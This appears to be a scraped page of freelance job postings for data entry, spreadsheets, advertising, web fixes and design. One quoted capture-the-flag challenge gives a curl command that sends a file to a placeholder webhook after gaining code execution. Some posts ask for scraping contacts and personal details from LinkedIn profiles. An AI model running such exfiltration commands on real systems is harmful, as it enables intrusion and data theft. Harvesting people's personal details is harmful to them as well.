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    ...main goal of the ad campaign is to significantly boost product sales. You should be well-versed in creating ad campaigns that drive conversions and generate revenue. - You will be given the task to focus your efforts on these specific product categories: gadgets, electronics, and home solutions. This includes selecting the right ad formats, targeting the ideal audience, and crafting compelling ad copy that can drive interest and sales. Ideal Skills and Experience: - Demonstrated experience successfully running Facebook ad campaigns that have significantly increased product sales, ideally in the e-commerce sector. - Strong understanding of the United States market, particularly in the gadgets, electronics, and home solutions niche. - Proven track record in targeting and engagin...

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    I need an Excel expert to create a comprehensive spreadsheet to track and calculate project costs, revenues, expenses, and profits. Specific calculations required include sum, average, percentage. The Excel sheet should track the following: - Project cost - Project revenue - Project expenses - Percentage of account receivable - Percentage of account paid - How the client paid after tax - Description for the costs - Percentage of the costs - Percentage of the profit before tax - Percentage of account receivable before tax - Date of payment The data presentation in the spreadsheet should be in the form of tables and graphs. Experience with financial data analysis and management is vital. Understanding of cost and profit calculations, as well as capability to implement adva...

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    05-18-2024 Data Miner Expert 5 days left
    VERIFIED

    I am seeking a skilled data miner to initially extract at least 1,000 company names, telephone numbers, and emails of translation agencies in the United States. We will provide the names of the cities, and the data miner will be responsible for searching local translation agencies on Google that meet these requirements. The database is to be created on a Google Spreadsheet. Based on this information, please tell us how many entries you can complete per hour and your best rate per hour.

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    ...with our origin and story 2. Written Content: - Craft clear, concise, and evocative copy to accompany the visuals and narrate the vanilla's journey - Highlight key points of differentiation, such as our origin, traditional techniques, and quality control processes - Emphasize our commitment to sustainability, fair trade, and community support 3. Brand Alignment: - Ensure the page's visual style, tone, and messaging align with our overarching brand identity Adhere to our brand color palette: Primary Colors: Tan (HEX: #B09574) Dark Brown (HEX: #4E3629) Off-White (HEX: #F6EEE0) Secondary Colors: Light Green (HEX: #637056) Dark Green (HEX: #014421) Use our brand typography: Headings: Rift Bold Body Copy: Acumin Pro Wide Supporting Typeface: Fastpen Deliv...

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    PDF to Excel Data Entry 5 days left
    VERIFIED

    I have a PDF file with over 50 pages of data in mixed formats - text, numbers, and tables. The task is to accurately transfer this data into an Excel spreadsheet in a tabular format. Key requirements: - Data entry from a PDF file into an Excel spreadsheet - The data is of moderate complexity, so a good understanding of Excel is needed - The output should be a well-organized and clean Excel spreadsheet Ideal skills for this job: - Proficiency in data entry and working with large data sets - Advanced Excel skills, including the ability to work with mixed data formats - Attention to detail and accuracy to ensure the data is correctly captured - Experience with PDF to Excel data conversions would be a plus Please note that while the task is to transfer data, there is n...

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    I am seeking a skilled illustrator that specializes in drawing animals, specifically horses. In this particular job, your task wi...I present you with. - Knowledge of horse anatomy: You should be familiar with horse anatomy and the structure of their hind legs and hooves, and be able to depict this accurately. - Specialization in animal and occasionally human drawings: You'll have experience drawing or painting horses from different angles, and human hands in some of the other jobs I've got. - Creativity: This isn’t a simple copy and paste job. I need unique and original work to fix the pieces I'd like altered. Please provide samples that demonstrate your ability to draw realistic, detailed horse images. The more relevant your portfolio, the more likely I am to...

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    1) You will help me reach out to recruiters, hiring managers and talent acquistions regarding particular positions 1a) Share the actual job applied to in the spreadsheet so i can reference it if I get contacted.***very important*** 2) Help manage applications 3) Filter job search and apply- (will share details when we speak and if hired) 4) More details will be shared in messaging and a call we will have weekly 5) weekly checkins 6) set up interviews for me via my Calendly 2hr max

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    As a new hotel owner, I need an Excel spreadsheet capable of calculating the optimum number of staff I need based on the number of available rooms, which in my case is 438 rooms. My current hotel staffing level is in its initial stages. The spreadsheet should effectively track staff allocation costs and other related expenses to assist in budgeting. The key tasks it will need to perform include: - Calculating the optimum number of staff - Staff allocation - Expense tracking The ideal freelancer will have experience in human resources, budgeting and have advanced Excel skills. They should understand how staffing impacts hotel operations and costs, with a keen understanding of allocation of resources. Their experience should also include creating Excel spreadsheets for comp...

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    For my project, I'm looking for a highly detail-oriented professional with brilliant Excel skills. Key responsibilities include: - Managing and transferring both numerical and textual data in an Excel spreadsheet, ensuring the correct placement into columns marked by letters (A, B, C, etc). - You'll not be required to order the data in any specific way, just transfer into the appropriate columns. Skills & Experience: - Proven record in data entry tasks - Strong Excel skills - Ability to understand and interpret numerical and textual data Looking forward to your bids and kicking into this project soon!

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    ...receive this stream and make it available in a CuPy array. The primary goal is to process this data in real-time for monitoring purposes. It is crucial that the data is not copied between CPU and GPU memory. Key Requirements: - Acquire data stream from /dev/video0 on Nvidia Jetson Orin and store as an array - Use Python 3.9+ for the codebase - Process the data array for real-time monitoring - Do not copy data between CPU and GPU memory, as one frame is 17MB in size Ideal freelancer for this project should have: - Extensive experience with Python, particularly in real-time data processing - Prior experience with Nvidia Jetson devices and GPU computing - Proficiency in CUDA and CuPy for GPU memory management - Strong understanding of Grayscale data processing - Good communication...

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    I'm in need of a data entry expert in Andhra or Telangana who can assist with medium-sized projects. The tasks are of 2 main types: Spreadsheet data entry and Manual Data Entry. The data is currently in the form of Data Filtering and Processing. The ideal freelancer should have: - Fast hands and typing skills - Proficiency in spreadsheet data entry - Experience in manual data entry - Previous experience in data filtering and processing - Availability to handle medium-sized tasks (100-500 entries) - Should be located in Andhra or Telangana, India Please bid only if you meet the above criteria. Looking forward to your bids.

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    I recently uploaded an outdated copy of my WordPress website to my shared hosting server and now I am experiencing an HTTP 500 error whenever I attempt to access the homepage. It's essential to get this issue resolved promptly as it's hindering visitors from interacting with the site. Key points to address: - Identify the root cause of the HTTP 500 error. - Implement a solution to resolve the issue. - Ensure the homepage is accessible without any errors. - Ideally, provide recommendations to prevent such issues in the future. The ideal candidate for this project will have: - Proven experience in WordPress troubleshooting and fixing HTTP 500 errors. - Strong understanding of shared hosting environments. - Good problem-solving capabilities. - Excellent communicatio...

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    ...reside in Maracaibo, Venezuela. Key Requirements: - Live in Maracaibo, Venezuela - Attend LUZ - Capable of handling physical and electronic documents The ideal candidate must be able to commit to the task and complete it within a month. The task involves basic administrative work, so relevant experience in such tasks is a plus. La tarea seria retirar un fondo negro en un foto estudio que se llama Copy Alfa. Luego ir a la oficina de CEDIA en Luz Maracaibo y solicitar: 1.- Fondo Negro (uso exterior) (1 juego ) 2.- Notas Certificadas (uso exterior) (1 juego ) Una vez que tengas lo documentos, tendrías que enviármelos por MRW a Puerto La Cruz, Anzoátegui que es donde vivo. El proyecto estaría completado una vez que yo tenga los documentos en mis mano...

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    I have a physical copy of an official letterhead that I would like recreated in both digital and print formats. The purpose of this letterhead is for official correspondence. Key requirements: - Recreate the letterhead in digital and print formats - Maintain the original design aspect of the letterhead - Deliver both formats ready for use Ideal skills: - Graphic design expertise - Proficiency in Adobe Illustrator or similar design software - Strong attention to detail - Experience with print design Your work will play a crucial role in our business communication. Your ability to recreate the design accurately and deliver the final products in both digital and print formats will be highly appreciated.

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    Implement Mac Filtering to allow specific Mac addresses to connect to a Windows Server 2016 and Windows 10 via Remote Desktop Protocol (RDP). Disable Right Click functionality for RDP users. Restrict Copy-Paste functionality (Ctrl+C, Ctrl+V) for RDP users. Implement measures to disable file transfer capabilities for RDP users.

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    Copy Paste Instagram Outreach text and get paid 5$ per booked meeting and 50$ per closed clients. No skill needed just a laptop and an Internet connection, We will teach you everything. PS: Our most recent hire made 350$ this week

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    I'm seeking a skilled freelancer to help me standardize and improve the formatting of my Google Sheet. The main focus will be on creating consistent cell styles for optimal readability. Specific requirements include: - Implementing a minimalist a...is easy to understand at a glance The ideal candidate will have: - Proficiency in Google Sheets, with a strong understanding of formatting options and best practices - A keen eye for design and the ability to create a clean, minimalist look - Experience with data visualization and turning complex information into easily digestible formats If you're confident in your ability to transform a spreadsheet into a visually appealing and user-friendly document, I'd love to hear from you. Please provide examples of similar work...

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    Website copy writing 4 days left
    VERIFIED

    I need to rewrite my whole website in short deadline.

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    I'm seeking a WordPress expert to i have 3 websites .. i want to copy one of them to the other 2 and transfer them from one server og GODADDY to A2 . i onlt want to cange the phto on the home page. so each one will have a different home page . I need all related work don to that so the 3 websites shall be up and running by Sunday.

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    ...) was recently moved from a US provider to the by a non-professional freelancer. Unfortunately, after less than a week, the system has stopped working. I found out recently he has installed the application in Centos 7 (Linux) instead of Windows against my guidelines. In light of this, I am seeking a highly skilled professional to help me reinstall the system from the copy to the Window Server 2016 environment. The job involves the following steps: 1) Change the OS from Linex to Windows Server 2016 or Higher Use the copies of the site and desktop (will be uploaded when you accept the job) 2) Download Windows Server 2016 II, Office 2019, , .NET Framework 4.7 or 4.8, Visual FoxPro 9 Executable. And it should be Configured to the present environment. 3) The on-line

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    ...power of a stellar website? If so, we want YOU on our team! We're a High Converting Website Design Agency looking for a driven, commission-only sales superstar to join our ranks. In this role, you'll be responsible for: Prospecting and Cold Calling: You'll identify potential clients who need a website refresh or a brand new online presence. Be prepared to make a positive first impression and build rapport over the phone. Understanding Client Needs: You'll have a knack for uncovering a client's vision and translating that into actionable website goals. Selling Solutions: You'll present our web design packages with confidence, highlighting the value we bring to their business. Closing the Deal: You'll guide clients through t...

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    Copy typing pdf 4 days left

    I need a freelancer to help me convert a set of PDF files into editable files. The purpose of this project is to create these files so that they can be entered into a database for storage and management. Requirements: - Data entry skills: You should be proficient in data entry as the information from the PDFs will need to be accurately transferred into an editable format. - Attention to detail: Precision is key here. The data should be entered without errors. - Basic understanding of databases: While you won't be required to manage the database, a basic understanding of how they work will be beneficial for the project. The format of the final data is yet to be determined, so your input on this matter would be valuable. Feel free to suggest the most suitable format for this task.

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    ...plus. --- Challenge Name: Emu Apothecary Category: Vulnerabilities Description has just opened up their potion brewing website for other Emus to create new potion recipes! However, they are afraid that one of the human hackers will pollute their ingredients. Can you get Remote Code Execution (RCE) on the Emu Apothecary's website? Below are the steps on creating the terminal command you want to execute on the website: Visit to create a new webhook for receiving incoming web requests. Copy your unique URL from the webhook website and replace {webhook} in the following terminal command. This is the command that you want to execute on the website that will send / to your webhook. curl -F flag=@/ {webhook} To connect to the challenge g...

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    I am seeking an expert capable of efficiently and accurately pulling LinkedIn data from a list of ...particularly with LinkedIn data - Ability to extract data at scale - Proficiency in organizing and structuring data for clear analysis - Strong attention to detail to ensure data accuracy The project involves: - Using the provided list of target companies to source employees' data - Identifying individuals who have previously worked at the provided specific companies - Compiling the data in a spreadsheet format for delivery The successful applicant should not only have the required technical skills but also the capability to deliver quality and timely results. Please showcase your experience in web scraping and the relevant tools you intend to use to ensure an efficient and ac...

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    I am in need of an experienced copywriter who can create persuasive and formal copy specifically aimed at professionals for a radio advertisement. The primary purpose of this project is to advertise my business and its services, targeted towards professionals in the field. Key requirements include: - Crafting persuasive, professional and formal copy for a radio advertisement - Generating content that captures the attention of professionals, while maintaining a sense of formality It is essential that the copywriter can tailor their style to suit the advertising medium, and specifically the radio platform. This would include ensuring the message is engaging and concise, as well as clear and suitable for oral delivery. The ideal candidate should have: - Proven experience in ...

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    ...name after Adelya is Tecmark Step 4: SAVE the Powerpoint file as "Tecmark Expansion - Australia and New Zealand" Step 5: Replace in Powerpoint (Keyboard command is Alt-E-E), the name "Adelya" with the name "Tecmark" Step 6: There should be 12 replacements, then you know you have done it right Step 7: Save the file once again as "Tecmark Expansion - Australia and New Zealand" Step 8: Save a second copy of the file in PDF version (Powerpoint will offer you an option called "Save as file type") Step 9: That's all. Move on to the next name in the Excel sheet This is an intensive, manual work project that will take at least 4 hours of dedicated effort and being very careful (no wrong names, no wrong file spellings) Please proce...

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    ...lines”, so it only paints within the white fields - option to choose brush size - option to choose eraser size - color picker or color wheel - undo / redo states - save image (to their photos library) - option to save or pick from some predefined palettes??? - option to save current works in progress??? - does not need to support ads, it’ll be a one-time purchase app I’ve attached a sample copy that just sort of outlines the idea, just an AI generated sample cobbled together in photoshop, but for functionality I’m open to changes of course! If you could provide a quote and also a timeline for completion that would be great. If you have any questions, let me know. -------------------------------------------------------------- Skills and Experience...

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    ...Requirements: - Data transfer based on a specific criteria: The macro should transfer data based on a specific criteria. This involves arranging the data from the grouped workbook into different cells in a column in the original workbooks based on predefined conditions. - Conditional Logic: The macro should include conditional logic. This means that the data transfer should not just be a simple copy-paste operation, but should involve logical conditions for accurate and efficient data arrangement. - Potential for automation: I'm not entirely sure if I want the macro to automatically update the original workbooks if the grouped workbook data changes. However, the macro should have the potential for this functionality, so that it can be added at a later stage. The ideal fre...

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    ...name after Adelya is Tecmark Step 4: SAVE the Powerpoint file as "Tecmark Expansion - Australia and New Zealand" Step 5: Replace in Powerpoint (Keyboard command is Alt-E-E), the name "Adelya" with the name "Tecmark" Step 6: There should be 12 replacements, then you know you have done it right Step 7: Save the file once again as "Tecmark Expansion - Australia and New Zealand" Step 8: Save a second copy of the file in PDF version (Powerpoint will offer you an option called "Save as file type") Step 9: That's all. Move on to the next name in the Excel sheet This is an intensive, manual work project that will take at least 4 hours of dedicated effort and being very careful (no wrong names, no wrong file spellings) Please proce...

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    ...hours: - Create preliminary design of the engine layout (drawings or sketches) - Develop preliminary design/placement of key components (e.g., pipe, valves, evaporator, condenser) Deliverables: First 10 hours: - Design Report (5-10 pages): - Overview of the design concept - Thermodynamic cycle analysis (calculations and spreadsheet; Excel/OpenOffice Calc) - Heat transfer calculations and assumptions (calculations and spreadsheet; Excel/OpenOffice Calc) - Fluid flow, power, and pressure drop (calculations) - Summary of Findings (1-2 pages) Second 10 hours: -CAD Drawings (2D or 3D): - Engine layout design - Key component designs (e.g., evaporator, condenser, piston) -Design Summary (2-3 pages): - Overview of th...

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    ...from the links in the attached spreadsheet. It's crucial that the information you provide is accurate and up-to-date. The test of accuracy will be me sending emails and verifying the company. Any wrong details will need to be collected again unless it is beyond your control (e.g. company has closed down etc.) Automated collection will be erroneous as the data needs to be collected in the following way. use the company names or links from the attached spreadsheet. 2. To copy and paste the company name + UK in the Google search box. The company's operation must be based in the UK as similar names may exist in US as well. 3. Or to click company logo and collect its email addresses, websites, and phone numbe. 4. To manually check the result and collect ...

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    Hi Andrada, You did a project for me last year and the work was excellent. You did research and data entry for 200 lines on an excel spreadsheet. This project is identical. I need to add 53 entries to the same spreadsheet. I would love to work with you again.

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    I have a large batch of text data in PDF files that needs to be copied and pasted into a specific format. Key Requirements: - Transfer text data from various PDF files - Ensure accuracy and precision in the copying - The time-sensitive nature of the task - The data must be transferred into a format that is easy to work with Ideal Candidate:...that needs to be copied and pasted into a specific format. Key Requirements: - Transfer text data from various PDF files - Ensure accuracy and precision in the copying - The time-sensitive nature of the task - The data must be transferred into a format that is easy to work with Ideal Candidate: - Proficient in using PDF files - Strong attention to detail - Previous experience with data entry/copy-paste tasks - Ability to work under time c...

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    ...specifically target a Business-to-Business (B2B) audience. Key Requirements: - Adjust Audience Targeting: I need the freelancer to adjust the targeting settings in Google Ads to exclude consumers and focus solely on businesses. This is crucial for the success of my campaign. - Optimize for B2B Conversions: The ideal candidate should have experience in B2B advertising. I want to ensure that the ad copy, creatives, and overall strategy are tailored for business professionals and decision-makers. Ideal Skills and Experience: - Strong Background in Google Ads: You should have a proven track record of running successful Google Ads campaigns with a focus on audience targeting. - B2B Advertising Expertise: Experience in B2B advertising is a big plus, as you'll need to underst...

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    I'm in need of an expert in Facebook advertising. My intention is to sell a yoga fitness course designed for both men and women aged 20-50, who are job professionals. The hired freelancer should: - Have a deep understanding of Facebook ads targeting - Be able to write compelling ad copy to engage potential participants - Have experience in crafting high conversion ads specifically for fitness or health-related courses Ideal Skills: - Facebook Advertising - Copywriting - Marketing Strategy - Experience in fitness industry (preferably yoga) marketing. Looking forward to your proposals!

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    **NO OR LIMITED EXPERIENCE IS OK - FEEL FREE TO APPLY. DO NOT USE GENERIC BID TEXT (NO COPY PASTING)*** Role is perfect for motivated and learning individuals who are eager for feedback and want to grow skills. Duration is 30 days internship. Those who surpass expectations will receive a serious offer to stay on team with better compensation. Sample tasks and responsibilities include, and are NOT limited to: 1. Research key topics or areas of interest and presenting options for the next steps. -> googling 2. Executing next steps and promptly executing action items from discussions. -> take instructions and act fast 3. Propose options from research as requested -> more googling 4. Be able to advise proactively on details including step by step documents where needed...

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    I'm looking for an experienced Power BI specialist to create a dashboard for me. The data that I would like to be integrated into this system is in an Excel spreadsheet. Key project requirements include: - Creation of a detailed and interactive Power BI dashboard - Integration of Excel data sources into the dashboard - Configuration of the system to ensure real-time data updates Ideal Skills/Experience: - Proficiency in Power BI, particularly in creating dashboards - Experience in integrating data from Excel spreadsheets - Understanding of how to configure real-time data updates in Power BI.

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    ...employer, current title, industry, location, and company size. Project Requirements: 1) Review each LinkedIn profile. 2) Extract three pieces of personal information about the prospect that a friend might know. This could include: - Interests or hobbies - Recent achievements or career milestones - Personal anecdotes or notable mentions in bio or recommendation Deliverables: - A completed spreadsheet with the extracted information for all 400 prospects. - The information should be concise, relevant, and suitable for use in a personalized outreach message. *Opportunity for ongoing work. Skills Required: - Attention to detail - Strong research skills - Familiarity with LinkedIn - Excellent written communication Timeline: The project needs to be completed ASAP. Budget: Ple...

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    ...tailored towards achieving this objective. - The tone of the graphics should be professional, authoritative and eye catching. They should exude a sense of trustworthiness, reliability and seriousness. - I envision the design to be simple and clean. The graphics need to be easily comprehensible and not overly intricate, while still maintaining a professional look. - Copy has been written and is attached to provide context. - Our website is: - Our platform for email distribution is Freshsales (sales automation and CRM). - Platform provides 169 templates that can be chosen or they can be custom designed. Ideal Skills: - Proficiency in graphic design, with a keen eye for aesthetics and attention to detail. - Experience in creating email campaigns and an understanding of the...

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    I am looking for someone that can design homes using SoftPlan software. I have already started the design & can email the SoftPlan files & digital PDF copy of the plan we need drawn.

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    ...drive results! Use the below information to craft the best billboard you can do! You may utilize some of the copy provided or create your own copy based on the information provided. Company/Service Information: • We are a US-based staffing agency that provides Virtual Assistant Services to micro-, small-, and medium-sized enterprises worldwide. • Our Virtual Assistants come from all over the world. • We have been in business for more than a decade. Our services: • Admin Support • Business Support • Marketing Support • Technical Support Industries we serve: • Construction • eCommerce • Finance • Healthcare • Hospitality • Insurance • Legal • Podcasting • Real Estate • And More! Some ...

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    I require a straightforward, user-friendly spreadsheet that calculates energy savings based on specific input. My needs are very particular. Here are the key aspects: Input Specifications: - It should only take one input: an initial savings value representing the savings our product offers. Calculation Requirements: - I expect the spreadsheet to perform calculations for both percentage and dollar amount savings. Results Format: - The results should be shown as simple numbers; I don't need them displayed as percentages or any graphical representations. The freelancer fit for the task should be proficient in spreadsheet software and have experience in building similar savings calculators. A good understanding of energy savings would be advantageous.

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    I need to complete a complete a letter-copy editing project and deliver it within 8 hours.

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    ...improve my existing website. The changes I seek span across editing the design, content, and functionality aspects. (I just bought this from Astra Pro with Spectra, essential, Optimizer and YOAST - along with the Godaddy WordPress hosting) I have decent content from another of my sites to copy across to - Compress components with gzip Add Expires headers Make fewer HTTP requests Design Updates: - Changing colours: I want to refresh the colour scheme of the website to make it more vibrant and engaging - Updating fonts: The current font is outdated. I need a modern, sleek, and readable font to be implemented - Redesigning the logo: A logo redesign to reflect the updated color scheme and font Content Updates: - Updating text: The text content on the website...

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    I need a desktop software designed to help me collate and manage Bible verses from the New King James Version (NKJV). Collation of 500 Most Popular Bible Verses We are developing a spreadsheet-based database of the 500 most popular New King James Version (NKJV) Bible verses and collation (into Excel or Google Sheets). The output must be in the NKJV and adhere to a strict protocol - The quotation - Source in a specified format (e.g. 2 Kings 3:2-5 - Maximum 55 words Extensive source material is available online, and we encourage the use of existing source material, with the primary emphasis on the collation/assembly into the required format. We are happy to answer relevant questions for clarification. Ideal Skills: - Native English - Familiarity with the Christian Bible - both O...

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    ...one-time data scraping project completed on multiple websites. - TASK: The task involves scraping text content from: Google searches: Commercial Real estate agency Saudi Arabia Commercial Real estate agency UAE Commercial Real estate agency Qatar Commercial Real estate agency Kuwait Commercial Real estate agency Bahrain I have made a start to the spreadsheet with a template for each of the regions which can be continued to be filled in. In the Google searches, just take the first 3 pages with the main agent listings and see what agent names/ email addresses you can find. - DATA REQUIRED: The primary data needed is text content. - TIMELINE: This is a one-time task, with no ongoing scraping requirements. Skills/Experience: - Proficiency in

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    We are developing a spreadsheet-based database of the most popular English quotations (or English translations), and are looking for a researcher with native English language skills who can identify and collate (into Excel or Google Sheets) the following requirements, providing the quotation, the author, and the source document (if available): - 1,000 most popular quotations from literature (prose and poetry), excluding Bible quotations and the works of William Shakespeare - 500 additional most popular English language quotations in addition to the above (from non-literary sources - 200 of William Shakespeare’s most popular quotations Maximum length of each quotation is 55 words. Extensive source material is available online, and we encourage the use of existing source mate...

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    Data entry 4 days left

    Hello everyone we are in need of new freelancer,s to handle a content writing and copy paste Job. Zero experience guidelines will be given (Beginners/experiences) Apply and get started as soon as possible

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